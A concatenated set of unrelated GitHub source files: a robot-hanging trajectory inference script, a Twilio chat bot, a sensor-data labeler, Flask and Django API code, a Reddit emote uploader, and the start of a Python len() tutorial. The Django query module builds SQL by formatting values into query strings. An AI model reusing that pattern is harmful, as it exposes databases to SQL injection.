os.path.exists(hook_urdf), f'{hook_urdf} not exists'\n hook_urdfs.append(hook_urdf) \n hook_pcds.append(points)\n\n inference_subdir = os.path.split(inference_hook_dir)[-1]\n output_dir = f'inference/inference_trajs/{checkpoint_subdir}/{checkpoint_subsubdir}/{inference_subdir}'\n os.makedirs(output_dir, exist_ok=True)\n \n # ================== Model ==================\n\n # load model\n network_class = get_model_module(module_name, model_name)\n network = network_class(**model_inputs, dataset_type=dataset_mode).to(device)\n network.load_state_dict(torch.load(weight_path))\n\n # ================== Simulator ==================\n\n # Create pybullet GUI\n physics_client_id = None\n if visualize:\n physics_client_id = p.connect(p.GUI)\n p.configureDebugVisualizer(p.COV_ENABLE_GUI,0)\n else:\n physics_client_id = p.connect(p.DIRECT)\n p.resetDebugVisualizerCamera(\n cameraDistance=0.2,\n cameraYaw=90,\n cameraPitch=-30,\n cameraTargetPosition=[0.5, 0.0, 1.3]\n )\n p.resetSimulation()\n p.setPhysicsEngineParameter(numSolverIterations=150)\n sim_timestep = 1.0 / 240\n p.setTimeStep(sim_timestep)\n p.setGravity(0, 0, 0)\n\n cam_info = p.getDebugVisualizerCamera()\n width, height, view_mat, proj_mat = cam_info[0], cam_info[1], cam_info[2], cam_info[3]\n \n # ------------------- #\n # --- Setup robot --- #\n # ------------------- #\n\n # Load plane contained in pybullet_data\n p.loadURDF(os.path.join(pybullet_data.getDataPath(), \"plane.urdf\"))\n robot = pandaEnv(physics_client_id, use_IK=1)\n\n # -------------------------- #\n # --- Load other objects --- #\n # -------------------------- #\n\n p.loadURDF(os.path.join(pybullet_data.getDataPath(), \"table/table.urdf\"), [1, 0.0, 0.0])\n\n # wall\n wall_pos = [0.5, -0.105, 0.93]\n wall_orientation = p.getQuaternionFromEuler([0, 0, 0])\n wall_id = p.loadURDF(\"../shapes/wall/wall.urdf\", wall_pos, wall_orientation)\n\n # floor\n floor_pos = [0.0, 0.0, 0.0]\n floor_orientation = p.getQuaternionFromEuler([0, 0, 0])\n floor_id = p.loadURDF(\"../shapes/wall/floor.urdf\", floor_pos, floor_orientation)\n\n hook_pose = [\n 0.5,\n -0.1,\n 1.3,\n 4.329780281177466e-17,\n 0.7071067811865475,\n 0.7071067811865476,\n 4.329780281177467e-17\n ]\n\n # ================== Inference ==================\n\n batch_size = 10\n all_scores = {\n 'easy': [],\n 'normal': [],\n 'hard': [],\n 'devil': [],\n 'all': []\n }\n\n obj_sucrate = {}\n for k in obj_names:\n obj_sucrate[k] = {\n 'easy': 0,\n 'easy_all': 0,\n 'normal': 0,\n 'normal_all': 0,\n 'hard': 0,\n 'hard_all': 0,\n 'devil': 0,\n 'devil_all': 0,\n }\n\n for sid, pcd in enumerate(tqdm(hook_pcds)):\n\n # urdf file\n hook_urdf = hook_urdfs[sid]\n hook_id = p.loadURDF(hook_urdf, hook_pose[:3], hook_pose[3:])\n # p.resetBasePositionAndOrientation(hook_id, hook_pose[:3], hook_pose[3:])\n\n # hook name\n hook_name = hook_urdf.split('/')[-2]\n difficulty = 'easy' if 'easy' in hook_name else \\\n 'normal' if 'normal' in hook_name else \\\n 'hard' if 'hard' in hook_name else \\\n 'devil'\n \n # sample trajectories\n centroid_pcd, centroid, scale = normalize_pc(pcd, copy_pts=True) # points will be in a unit sphere\n contact_point = centroid_pcd[0]\n\n # If you want to see noise point cloud\n # centroid_pcd = 1.0 * (np.random.rand(pcd.shape[0], pcd.shape[1]) - 0.5).astype(np.float32) # random noise\n\n points_batch = torch.from_numpy(centroid_pcd).unsqueeze(0).to(device=device).contiguous()\n input_pcid = None\n point_num = points_batch.shape[1]\n if point_num >= sample_num_points:\n input_pcid = furthest_point_sample(points_batch, sample_num_points).long().reshape(-1) # BN\n else :\n mod_num = sample_num_points % point_num\n repeat_num = int(sample_num_points // point_num)\n input_pcid = furthest_point_sample(points_batch, mod_num).long().reshape(-1) # BN\n input_pcid = torch.cat([torch.arange(0, point_num).int().repeat(repeat_num).to(device), input_pcid])\n points_batch = points_batch[0, input_pcid, :].squeeze()\n points_batch = points_batch.repeat(batch_size, 1, 1)\n\n # generate trajectory using predicted contact points\n affordance, recon_trajs = network.sample(points_batch)\n\n # ###############################################\n # # =========== for affordance head =========== #\n # ###############################################\n\n points = points_batch[0].cpu().detach().squeeze().numpy()\n affordance = affordance[0].cpu().detach().squeeze().numpy()\n affordance = (affordance - np.min(affordance)) / (np.max(affordance) - np.min(affordance))\n colors = cv2.applyColorMap((255 * affordance).astype(np.uint8), colormap=cv2.COLORMAP_JET).squeeze()\n\n contact_point_cond = np.where(affordance == np.max(affordance))[0]\n contact_point = points[contact_point_cond][0]\n\n contact_point_coor = o3d.geometry.TriangleMesh.create_coordinate_frame(size=0.2)\n contact_point_coor.translate(contact_point.reshape((3, 1)))\n\n point_cloud = o3d.geometry.PointCloud()\n point_cloud.points = o3d.utility.Vector3dVector(points)\n point_cloud.colors = o3d.utility.Vector3dVector(colors / 255)\n\n if visualize:\n img_list = []\n frames = 9\n rotate_per_frame = np.pi * 2 / frames\n for _ in range(frames):\n r = point_cloud.get_rotation_matrix_from_xyz((0, rotate_per_frame, 0)) # (rx, ry, rz) = (right, up, inner)\n point_cloud.rotate(r, center=(0, 0, 0))\n contact_point_coor.rotate(r, center=(0, 0, 0))\n geometries = [point_cloud, contact_point_coor]\n\n img = capture_from_viewer(geometries)\n img_list.append(img)\n \n save_path = f\"{output_dir}/{weight_subpath[:-4]}-affor-{sid}.gif\"\n imageio.mimsave(save_path, img_list, fps=10)\n\n ##############################################################\n # =========== for trajectory reconstruction head =========== #\n ##############################################################\n\n hook_poses = torch.Tensor(hook_pose).repeat(batch_size, 1).to(device)\n scales = torch.Tensor([scale]).repeat(batch_size).to(device)\n centroids = torch.from_numpy(centroid).repeat(batch_size, 1).to(device)\n recovered_trajs = recover_trajectory(recon_trajs, hook_poses, centroids, scales, dataset_mode, wpt_dim)\n\n # conting inference score using object and object contact information\n ignore_wpt_num = int(np.ceil(len(recovered_trajs[0]) * 0.1))\n if evaluate:\n max_obj_success_cnt = 0\n wpt_ids = []\n for traj_id, recovered_traj in enumerate(recovered_trajs):\n\n obj_success_cnt = 0\n for i, (obj_urdf, obj_contact_pose, obj_grasping_info) in enumerate(zip(obj_urdfs, obj_contact_poses, obj_grasping_infos)):\n reversed_recovered_traj = recovered_traj[ignore_wpt_num:][::-1]\n reversed_recovered_traj = refine_waypoint_rotation(reversed_recovered_traj)\n\n obj_name = obj_urdf.split('/')[-2]\n\n obj_id = p.loadURDF(obj_urdf)\n rgbs, success = robot_kptraj_hanging(robot, reversed_recovered_traj, obj_id, hook_id, obj_contact_pose, obj_grasping_info, visualize=visualize if i == 0 else False)\n res = 'success' if success else 'failed'\n obj_sucrate[obj_name][difficulty] += 1 if success else 0\n obj_sucrate[obj_name][f'{difficulty}_all'] += 1\n obj_success_cnt += 1 if success else 0\n p.removeBody(obj_id)\n\n if len(rgbs) > 0 and traj_id == 0: # only when visualize=True\n rgbs[0].save(f\"{output_dir}/{weight_subpath[:-4]}-{sid}-{hook_name}-{res}.gif\", save_all=True, append_images=rgbs, duration=80, loop=0)\n\n max_obj_success_cnt = max(obj_success_cnt, max_obj_success_cnt)\n\n print('[{} / {}] success rate: {:00.03f}%'.format(sid, hook_name, max_obj_success_cnt / len(obj_contact_poses) * 100))\n sys.stdout.flush()\n all_scores[difficulty].append(max_obj_success_cnt / len(obj_contact_poses))\n all_scores['all'].append(max_obj_success_cnt / len(obj_contact_poses))\n \n if visualize:\n\n obj_urdf = obj_urdfs[1]\n obj_id = p.loadURDF(obj_urdf)\n obj_contact_pose = obj_contact_poses[1]\n\n width, height = 640, 480\n fx = fy = 605\n far = 1000.\n near = 0.01\n projection_matrix, intrinsic = get_projmat_and_intrinsic(width, height, fx, fy, far, near)\n pcd_view_matrix, pcd_extrinsic = get_viewmat_and_extrinsic(cameraEyePosition=[0.8, 0.0, 1.3], cameraTargetPosition=[0.5, 0.0, 1.3], cameraUpVector=[0., 0., 1.])\n\n wpt_ids = []\n gif_frames = []\n for i, recovered_traj in enumerate(recovered_trajs):\n colors = list(np.random.rand(3)) + [1]\n for wpt_i, wpt in enumerate(recovered_traj[::-1]):\n wpt_id = p.createMultiBody(\n baseCollisionShapeIndex=p.createCollisionShape(p.GEOM_SPHERE, 0.001), \n baseVisualShapeIndex=p.createVisualShape(p.GEOM_SPHERE, 0.001, rgbaColor=colors), \n basePosition=wpt[:3]\n )\n wpt_ids.append(wpt_id)\n\n for i, recovered_traj in enumerate(recovered_trajs):\n colors = list(np.random.rand(3)) + [1]\n for wpt_i, wpt in enumerate(recovered_traj[ignore_wpt_num:][::-1]):\n \n obj_tran = get_matrix_from_pose(wpt) @ np.linalg.inv(get_matrix_from_pose(obj_contact_pose))\n obj_pos, obj_rot = get_pos_rot_from_matrix(obj_tran)\n p.resetBasePositionAndOrientation(obj_id, obj_pos, obj_rot)\n\n if wpt_i % 2 == 0:\n img = p.getCameraImage(width, height, viewMatrix=pcd_view_matrix, projectionMatrix=projection_matrix)\n rgb = np.reshape(img[2], (height, width, 4))[:,:,:3]\n gif_frames.append(rgb)\n\n save_path = f\"{output_dir}/{weight_subpath[:-4]}-{sid}-{hook_name}-{max_obj_success_cnt}.gif\"\n imageio.mimsave(save_path, gif_frames, fps=10)\n\n for wpt_id in wpt_ids:\n p.removeBody(wpt_id)\n p.removeBody(obj_id)\n\n p.removeBody(hook_id)\n p.removeAllUserDebugItems()\n\n\n if evaluate:\n \n print(\"===============================================================================================\") # don't modify this\n print(\"success rate of all objects\")\n for obj_name in obj_sucrate.keys():\n for difficulty in ['easy', 'normal', 'hard', 'devil']:\n assert difficulty in obj_sucrate[obj_name].keys() and f'{difficulty}_all' in obj_sucrate[obj_name].keys()\n print('[{}] {}: {:00.03f}%'.format(obj_name, difficulty, obj_sucrate[obj_name][difficulty] / obj_sucrate[obj_name][f'{difficulty}_all'] * 100))\n print(\"===============================================================================================\") # don't modify this\n\n easy_mean = np.asarray(all_scores['easy'])\n normal_mean = np.asarray(all_scores['normal'])\n hard_mean = np.asarray(all_scores['hard'])\n devil_mean = np.asarray(all_scores['devil'])\n all_mean = np.asarray(all_scores['all'])\n print(\"===============================================================================================\") # don't modify this\n print('checkpoint: {}'.format(weight_path))\n print('inference_dir: {}'.format(args.inference_dir))\n print('[easy] success rate: {:00.03f}%'.format(np.mean(easy_mean) * 100))\n print('[normal] success rate: {:00.03f}%'.format(np.mean(normal_mean) * 100))\n print('[hard] success rate: {:00.03f}%'.format(np.mean(hard_mean) * 100))\n print('[devil] success rate: {:00.03f}%'.format(np.mean(devil_mean) * 100))\n print('[all] success rate: {:00.03f}%'.format(np.mean(all_mean) * 100))\n print(\"===============================================================================================\") # don't modify this\n\ndef main(args):\n dataset_dir = args.dataset_dir\n checkpoint_dir = args.checkpoint_dir\n config_file = args.config\n\n if dataset_dir != '':\n assert os.path.exists(dataset_dir), f'{dataset_dir} not exists'\n if checkpoint_dir != '':\n assert os.path.exists(checkpoint_dir), f'{checkpoint_dir} not exists'\n if config_file != '':\n assert os.path.exists(config_file), f'{config_file} not exists'\n\n if args.training_mode == \"train\":\n train(args)\n\n if args.training_mode == \"inference\":\n inference(args)\n\n\n\nif __name__==\"__main__\":\n\n parser = argparse.ArgumentParser()\n # about dataset\n parser.add_argument('--dataset_dir', '-dd', type=str, default='')\n\n # training mode\n parser.add_argument('--training_mode', '-tm', type=str, default='train', help=\"training mode : [train, inference]\")\n parser.add_argument('--training_tag', '-tt', type=str, default='', help=\"training_tag\")\n \n # testing\n parser.add_argument('--weight_subpath', '-wp', type=str, default='5000_points-network_epoch-150.pth', help=\"subpath of saved weight\")\n parser.add_argument('--checkpoint_dir', '-cd', type=str, default='checkpoints', help=\"'training_mode=inference' only\")\n parser.add_argument('--visualize', '-v', action='store_true')\n parser.add_argument('--evaluate', '-e', action='store_true')\n parser.add_argument('--inference_dir', '-id', type=str, default='')\n parser.add_argument('--obj_shape_root', '-osr', type=str, default='../shapes/inference_objs')\n parser.add_argument('--hook_shape_root', '-hsr', type=str, default='../shapes/hook_all_new_0')\n \n # other info\n parser.add_argument('--device', '-dv', type=str, default=\"cuda\")\n parser.add_argument('--config', '-cfg', type=str, default='../config/modified_vatmart/modified_vatmart_3dof_40wpts.yaml')\n parser.add_argument('--split_ratio', '-sr', type=float, default=0.2)\n parser.add_argument('--verbose', '-vb', action='store_true')\n args = parser.parse_args()\n\n\n main(args)","repo_name":"HCIS-Lab/SKT-Hang","sub_path":"src/run_modified_vatmart.py","file_name":"run_modified_vatmart.py","file_ext":"py","file_size_in_byte":27945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"5427111603","text":"from flask import Flask, request\nimport time\nfrom datetime import datetime\nimport requests\nfrom twilio.twiml.messaging_response import MessagingResponse\n\napp = Flask(__name__)\n\n@app.route('/bot', methods=['POST'])\ndef bot():\n incoming_msg = request.values.get('Body', '').lower()\n \n resp = MessagingResponse()\n msg = resp.message()\n responded = False\n \n \n if 'thoughts' in incoming_msg:\n record = time.ctime()\n response = 'Recieved and noted\\nKeep it coming!\\n\\nMoment Recorded: {} '.format(record)\n msg.body(response)\n responded = True\n\n elif 'achievements' in incoming_msg:\n record = time.ctime()\n response = 'I want more of this coming \\nYou are doing awesome,go on and achieve more Champ!\\nRemember,there are no limits to what you can achieve\\n\\nMoment Recorded: {}'.format(record)\n msg.body(response)\n responded = True\n \n elif 'views' in incoming_msg:\n response = 'Your life is not just about you, always do more so you can help more\\nYou can not be normal and expect abnormal returns\\nTho you might be down now, but keep progressing Man no shortcuts!'\n msg.body(response)\n responded = True\n \n \n \n \n elif 'quote' in incoming_msg:\n r = requests.get('https://api.quotable.io/random')\n if r.status_code == 200:\n data = r.json()\n quote = f'{data[\"content\"]} ({data[\"author\"]})'\n else:\n quote = 'I could not retrieves a quote at this time, Sorry'\n msg.body(quote) \n responded = True\n elif not responded:\n msg.body('No Chitchat here Man,\\nFocus on your craft and consistently do what you do Man\\nOnly keep me informed of your actions and thoughts\\nKeep improving Champ')\n return str(resp)","repo_name":"AB-Yusuf/Phi","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"30375594683","text":"import os\nimport numpy as np\nimport pandas as pd\n\ndef file_exist(sensor_num, file_name):\n\n for filename in os.listdir(\".\"):\n if filename.startswith(\"pir\" + str(sensor_num) + file_name):\n print(filename)\n return True\n\n return False\n\n\nwhile (True):\n date = input(\"Write the date (Month-day) (if insert 0, exit) :: \")\n if (date == \"0\"):\n break;\n time = input(\"Write the time (HH-MM-SS) :: \")\n pre_file_name = \"_data_\" + date + \"_\" + time\n\n current_path = os.getcwd()\n sr = 15\n\n while (True):\n month = date[:2]\n sensor_num = 3\n\n if (month == \"01\"):\n month = \"Jan\"\n elif (month == \"02\"):\n month = \"Feb\"\n elif (month == \"03\"):\n month = \"March\"\n elif (month == \"04\"):\n month = \"April\"\n\n os.chdir(current_path)\n os.chdir(month + \"/\")\n\n file_name = pre_file_name.split('-')\n file_name = '-'.join(file_name[:2])\n print(\"pir1\" + file_name)\n\n pir_exist = file_exist(1,file_name) and file_exist(2,file_name) and file_exist(3,file_name)\n\n if (pir_exist == True):\n\n label_exist = input(\"1. Exist / 2. None :: \")\n if (label_exist == \"2\"):\n tag_exist = \"None\"\n elif (label_exist == \"1\"):\n label_who = input(\"1. Human / 2. Animal / 3. Both :: \")\n if (label_who == \"1\"):\n tag_exist = \"Human\"\n elif (label_who == \"2\"):\n tag_exist = \"Animal\"\n elif (label_who == \"3\"):\n tag_exist = \"Both\"\n elif (label_who == \"0\"):\n break\n elif (label_exist == \"0\"):\n break\n\n label_weather = input(\"1. Sunny / 2. Rain :: \")\n if (label_weather == \"1\"):\n tag_weather = \"Sunny\"\n elif (label_weather == \"2\"):\n tag_weather = \"Rain\"\n # elif (label_weather == \"3\"):\n # tag_weather = \"Cloud\"\n elif (label_weather == \"0\"):\n break\n\n while (True):\n sn_start = input(\"Insert start sequential number :: \")\n sn_end = input(\"Insert end sequential number :: \")\n\n sn_start = int(sn_start)\n sn_end = int(sn_end)\n\n if (sn_start >= sn_end):\n print(\"sn_start :: \" + str(sn_start))\n print(\"sn_end :: \" + str(sn_end))\n print(\"Wrong Sequential Number .. !\")\n else:\n break\n\n for i in range(1, sensor_num + 1):\n os.chdir(current_path)\n os.chdir(month + \"/\")\n for filename in os.listdir(\".\"):\n if filename.startswith(\"pir\" + str(i) + file_name):\n if i == 1:\n main_fname = filename.split(\".\")[0]\n main_fname = main_fname.split(\"_\")[1:]\n main_fname = \"_\".join(main_fname)\n main_fname = \"pir\" + str(i) + \"_\" + main_fname\n else:\n main_fname = \"pir\" + str(i) + main_fname[4:]\n\n ofname = filename\n break\n\n fname = \"labeled_\" + main_fname + \"_\" + tag_exist\n\n data = np.loadtxt(ofname)\n\n os.chdir(current_path)\n os.chdir(\"labeled_data/\" + tag_weather + \"/\" + tag_exist + \"/\")\n sensor_path = os.getcwd()\n\n os.chdir(str(i) + \"/\")\n k = 0\n while (True):\n if (os.path.exists(fname + str(k) + \".csv\")):\n k = k + 1\n else:\n fname = fname + str(k) + \".csv\"\n break\n\n X = list()\n for j in range(sn_start, sn_end, sr):\n if (j >= sn_end):\n break\n\n slice_data = data[j - 1: j - 1 + 100]\n np.asarray(slice_data)\n X.append(slice_data)\n\n dataframe = pd.DataFrame(X)\n dataframe.to_csv(fname, header=False, index=False)\n\n print(fname)\n os.chdir(sensor_path)\n else:\n print(\"File is not Exist..!\")\n os.chdir(current_path)\n break\n\n os.chdir(current_path)\n\n\n","repo_name":"ts05/TS05_PIR","sub_path":"Labeling.py","file_name":"Labeling.py","file_ext":"py","file_size_in_byte":4549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"8052939034","text":"\"\"\"Entrypoint of the main API Resources.\"\"\"\n# Flask based imports\nfrom flask_restplus import Namespace\nfrom flask_restplus import reqparse\nfrom flask import Response\nimport yaml\nimport json\nimport bson\n\nfrom api_discovery.modules.api.controllers import base\nfrom api_discovery.modules.objects import oas_v2\nfrom api_discovery.modules.api.views import schemas\nfrom api_discovery.modules import exception\n\n# Empty name is required to have the desired url path\napi = Namespace(name='schemas', description='All Service schemas.')\n\n# Register views\napi.models[schemas.schema.name] = schemas.schema\napi.models[schemas.schema_detail.name] = schemas.schema_detail\n\n\n@api.route('/')\n@api.header('Access-Control-Allow-Origin', '*')\nclass SchemaCollection(base.BasicResouce):\n \"\"\"Schema resource class.\"\"\"\n\n @api.doc(params={'name': 'The name of the service, default is None'},\n responses={200: 'OK'})\n @api.marshal_with(api.models[schemas.schema.name], envelope=\"schemas\")\n def get(self):\n \"\"\"Get all service schemas.\"\"\"\n parser = reqparse.RequestParser()\n parser.add_argument('name', type=str, help='service_name')\n args = parser.parse_args()\n self.logger.info(\"Getting all schemas....\")\n items = oas_v2.OASV2List.get_all_filtered(\n filter={'name': args['name']} if args['name'] else None)\n return items\n\n\n@api.route('/')\n@api.doc(params={'id': 'The id of service schema.'})\n@api.param('id', 'The id of service schema.')\n@api.header('Access-Control-Allow-Origin', '*')\nclass Schema(base.BasicResouce):\n \"\"\"Get single service schema.\"\"\"\n\n @api.doc(responses={200: 'OK',\n 400: 'Parameter is invalid',\n 404: 'Resource not found.'})\n @api.marshal_with(api.models[schemas.schema_detail.name],\n envelope=\"schema\")\n def get(self, id):\n \"\"\"Get one specific service schema.\"\"\"\n if not bson.objectid.ObjectId.is_valid(id):\n raise exception.InvalidParameter(key=\"id\")\n item = oas_v2.OASV2.get_by_id(id)\n return item\n\n\n@api.route('//payload')\n@api.doc(params={'id': 'The id of service schema.'})\n@api.param('id', 'The id of service schema.')\n@api.header('Access-Control-Allow-Origin', '*')\nclass SchemaPayload(base.BasicResouce):\n \"\"\"Get single service raw schema.\"\"\"\n\n @api.doc(responses={200: 'OK',\n 400: 'Parameter is invalid',\n 404: 'Resource not found'})\n def get(self, id):\n \"\"\"Get raw schema of one specific service.\"\"\"\n if not bson.objectid.ObjectId.is_valid(id):\n raise exception.InvalidParameter(key=\"id\")\n item = oas_v2.OASV2.get_by_id(id)\n return Response(\n response=yaml.dump(json.loads(item['schema'])),\n mimetype='text/yaml')\n","repo_name":"TommyLike/huawei-api-discovery","sub_path":"api_discovery/modules/api/controllers/schemas.py","file_name":"schemas.py","file_ext":"py","file_size_in_byte":2846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"24883362430","text":"#!/usr/bin/env python3\nimport os\nimport sys\nimport copy\nimport glob\nimport json\nimport praw\nimport shutil\nimport fnmatch\nimport datetime\nimport tinycss\nimport operator\nimport textwrap\nimport webbrowser\nimport subprocess\nimport collections\nfrom PIL import Image\n\nwith open('config.json') as fh:\n CONFIG = json.load(fh)\nGROUP_CONFIG = CONFIG.pop('groups')\n\n# check pre-requisites\nassert CONFIG['outdir'] and CONFIG['outdir'] != '.'\n#subprocess.run(['cleancss', '--version'], stdout=subprocess.DEVNULL, check=True)\nsubprocess.run(['optipng', '--version'], stdout=subprocess.DEVNULL, check=True)\n\n# log in to Reddit (early to allow easy authentication the first time)\ntry:\n with open('auth.json') as fh:\n auth = json.load(fh)\nexcept FileNotFoundError:\n with open('auth.json', 'w') as fh:\n json.dump({\n 'client_id': 'crgnKAZFz7bAOg',\n 'client_secret': '',\n 'username': '',\n 'password': ''\n }, fh, indent=4)\n print(\"Add credentials to auth.json\")\n sys.exit(0)\n\nreddit = praw.Reddit(user_agent='fi.atte.emoter (by /u/AtteLynx)', **auth)\nsub = reddit.subreddit(CONFIG['sub'])\n\ndef file2name(file):\n return os.path.splitext(os.path.basename(file))[0]\n\ndef css2names(source):\n css = tinycss.make_parser().parse_stylesheet(source)\n return set(\n token.value[1:]\n for rule in css.rules\n for container in rule.selector if isinstance(container, tinycss.token_data.ContainerToken)\n for token in container.content if token.type == 'STRING'\n )\n\n# resolve configurations\noutfiles = collections.defaultdict(dict)\nfor fname in glob.iglob(CONFIG['input']['images']):\n for pattern, config in sorted(GROUP_CONFIG.items(), key=lambda item: '*' in item[0]):\n if fnmatch.fnmatch(file2name(fname), pattern):\n outfile = config.get('fname', CONFIG['fname'])\n outfiles[outfile].setdefault(fname, copy.deepcopy(CONFIG)).update(config)\n break\n else:\n outfiles[CONFIG['fname']][fname] = copy.deepcopy(CONFIG)\n\n# remove old build artifacts\nif os.path.exists(CONFIG['outdir']):\n shutil.rmtree(CONFIG['outdir'])\nos.mkdir(CONFIG['outdir'])\n\n# load custom CSS\ncss = ''\nfor fname in glob.iglob(CONFIG['input']['styles']):\n with open(fname) as fh:\n css += fh.read()\n\n# resize images and generate CSS\noutnames = set()\nfor outfile, infiles in outfiles.items():\n outname = \"{}/{}.png\".format(CONFIG['outdir'], outfile)\n outnames.add(outname)\n name = file2name(outname)\n\n if len(infiles) == 1 and list(infiles.values())[0].get('raw', False):\n # raw images; don't resize\n fname, config = list(infiles.items())[0]\n config['outname'] = outname\n shutil.copy(fname, outname)\n with Image.open(fname) as img:\n css += textwrap.dedent(\"\"\"\n a[href=\"/{name}\"] {{\n float: left;\n clear: none;\n display: block;\n background-image: url(%%{name}%%);\n width: {width}px;\n height: {height}px;\n }}\n \"\"\".format(name=name, width=img.width, height=img.height))\n else:\n images = []\n selectors = []\n # resize images\n for fname, config in infiles.items():\n config['outname'] = outname\n img = Image.open(fname)\n if img.height > config['max_height']:\n config['image'] = img.resize((\n round(img.width * (config['max_height'] / img.height)),\n config['max_height'],\n ), Image.ANTIALIAS)\n img.close()\n img = None\n else:\n config['image'] = img\n images.append(config['image'])\n\n selectors.append('a[href=\"/{}\"]'.format(file2name(fname)))\n selectors = ',\\n'.join(selectors)\n\n # common rule per output image file\n css += textwrap.dedent(\"\"\"\n {selectors} {{\n float: left;\n clear: none;\n display: block;\n background-image: url(%%{name}%%);\n }}\n \"\"\".format(selectors=selectors, name=name))\n\n # make target image of correct size\n target = Image.new('RGBA', (\n max(config['image'].width for config in infiles.values()),\n sum(CONFIG['margin'] + config['image'].height for config in infiles.values()),\n ), (255, 255, 255, 255))\n\n # copy images onto target and generate per-emote rules\n y = 0\n for fname, config in infiles.items():\n img = config['image']\n css += textwrap.dedent(\"\"\"\n a[href=\"/{fname}\"] {{\n background-position: 0 -{y}px;\n width: {width}px;\n height: {height}px;\n }}\n \"\"\".format(fname=file2name(fname), y=y, width=img.width, height=img.height))\n target.paste(img, (0, y))\n y += img.height + CONFIG['margin']\n\n target.save(outname)\n\n for img in images:\n img.close()\n\n# write CSS to file\ncssfile = CONFIG['outdir'] + \"/style.css\"\nwith open(cssfile, 'w') as fh:\n fh.write(css)\n\n# optimize outputs\nminfile = CONFIG['outdir'] + \"/style.min.css\"\nshutil.copyfile(cssfile, minfile)\n#subprocess.run(['cleancss', '-o', minfile, cssfile], check=True)\nsubprocess.run(['optipng'] + list(outnames), check=True)\n\n# diff CSS\nold_css = sub.stylesheet().stylesheet\nwith open(minfile) as fh:\n new_css = fh.read()\nold_emotes = css2names(old_css)\nnew_emotes = css2names(new_css)\ndiff = ' '.join(sorted(\n [\"+\" + name for name in new_emotes - old_emotes] +\n [\"-\" + name for name in old_emotes - new_emotes]\n))\nprint(\"Changes: \" + diff)\n\n# upload data to Reddit\nfor fname in outnames:\n name, ext = os.path.splitext(os.path.basename(fname))\n print(\"Uploading \" + name)\n sub.stylesheet.upload(name, fname)\nprint(\"Uploading CSS...\")\nsub.stylesheet.update(new_css, reason=diff)\n\n# make test post\nprint(\"Shitposting...\")\npost = sub.submit(\n title=str(datetime.datetime.now()),\n selftext=' '.join(sorted(\n '[{text}](/{name})'.format(name=file2name(fname), text='*testing*' if config.get('text', False) else '')\n for infiles in outfiles.values()\n for fname, config in infiles.items()\n ))\n)\n\n# open post if graphical\nprint(post.shortlink)\nif os.environ.get('DISPLAY'):\n\twebbrowser.open(post.shortlink)\n","repo_name":"Atte/attemotes","sub_path":"emoter.py","file_name":"emoter.py","file_ext":"py","file_size_in_byte":6504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"37917676798","text":"from django.db import connection\nfrom ..exceptions.exceptions import InvalidRegionException\n\n\ndef is_code(code):\n return len(code) == 5 and code.isupper()\n\n\ndef get_codes_by_region_slug(region_slug):\n is_valid_region(region_slug)\n\n all_regions = set()\n all_regions.add(region_slug)\n\n add_all_regions(all_regions, region_slug)\n\n all_regions_formatted = \",\".join([f\"'{region}'\" for region in all_regions])\n\n cursor = connection.cursor()\n cursor.execute(\"select code from ports where parent_slug in ({})\".format(all_regions_formatted))\n rows = cursor.fetchall()\n rows = [f\"'{row[0]}'\" for row in rows]\n return \",\".join(rows)\n\n\ndef add_all_regions(all_regions, region_name):\n cursor = connection.cursor()\n cursor.execute(\"select slug from regions where parent_slug=%(region_name)s\",\n {'region_name': region_name})\n rows = cursor.fetchall()\n for row in rows:\n all_regions.add(row[0])\n add_all_regions(all_regions, row[0])\n\n\ndef is_valid_region(region_slug):\n cursor = connection.cursor()\n cursor.execute(\"select slug from regions where slug=%(region_slug)s\",\n {'region_slug': region_slug})\n rows = cursor.fetchall()\n if len(rows) == 0:\n raise InvalidRegionException(f\"Invalid Region {region_slug}\")\n\n\ndef insert_price(origin_code, destination_code, date_insert, price):\n cursor = connection.cursor()\n cursor.execute(\"INSERT INTO prices (orig_code, dest_code, day, price) VALUES\"\n \" (%(orig_code)s, %(dest_code)s, %(day)s, %(price)s);\",\n {'orig_code': origin_code, 'dest_code': destination_code,\n 'day': date_insert, 'price': price})\n\n\ndef get_average_price_by_date(origin, destination, date_from, date_to):\n cursor = connection.cursor()\n\n query = \"SELECT day, AVG(price), COUNT(day) FROM prices WHERE orig_code in ({}) and dest_code in ({}) and\" \\\n \" day>=%(date_from)s and day<=%(date_to)s GROUP BY day\".format(origin, destination)\n\n cursor.execute(query, {'date_from': date_from, 'date_to': date_to})\n rows = cursor.fetchall()\n response_data = []\n for row in rows:\n if row[2] < 3:\n response_data.append({\"day\": row[0], \"average_price\": None})\n else:\n response_data.append({\"day\": row[0], \"average_price\": row[1]})\n\n return response_data\n","repo_name":"guilherme-baldissera/xenetaChallenge","sub_path":"ratestask/queries/database_queries.py","file_name":"database_queries.py","file_ext":"py","file_size_in_byte":2377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"38048730911","text":"# TODO ─── Penggunaan Fungsi Len ──────────────────────────────────────────────────────\n# Fungsi len()mengembalikan jumlah item (panjang) dalam suatu objek.\n# Syntax : len(s)\n# Fungsi len()mengambil satu argumen s , yang dapat berupa\n# -urutan - string, byte, Tuple, daftar, rentang ATAU,\n# -koleksi - kamus, set, set beku\n# len()fungsi mengembalikan jumlah item dari suatu objek.\n# Gagal memberikan argumen atau memberikan argumen yang tidak valid akan memunculkan TypeErrorpengecualian.\n# #\n\n\n# ─── Contoh 0 ───────────────────────────────────────────────────────────────────\nlanguages = ['Python', 'Java', 'JavaScript']\n\n# compute the length of languages\nlength = len(languages)\nprint(length)\n\n# Output: 3\n# ────────────────────────────────────────────────────────────────────────────────\n\n# ─── Contoh 1: Bagaimana Len Bekerja Dengan Tupel Daftar Dan Rentang ────────────\ntestList = []\nprint(testList, 'length is', len(testList))\n# Output :[] panjangnya adalah 0\n\ntestList = [1, 2, 3]\nprint(testList, 'length is', len(testList))\n# Output :[1, 2, 3] panjangnya adalah 3\n\ntestTuple = (1, 2, 3)\nprint(testTuple, 'length is', len(testTuple))\n# Output :(1, 